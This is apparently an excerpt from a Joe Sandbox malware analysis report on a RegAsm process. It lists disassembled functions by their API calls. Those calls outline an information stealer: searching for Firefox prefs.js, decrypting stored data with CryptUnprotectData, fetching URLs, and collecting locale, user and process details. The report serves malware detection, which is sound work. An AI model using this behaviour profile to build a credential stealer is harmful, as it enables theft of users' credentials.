Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
\*.*, xrefs: 0040E28D

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00401710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 5f8fad25b93f4c1a1714bd2bd86851a401257f264349a53572a31b8194dbb601
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 5f8fad25b93f4c1a1714bd2bd86851a401257f264349a53572a31b8194dbb601
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01423410,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01423410,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01423410,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

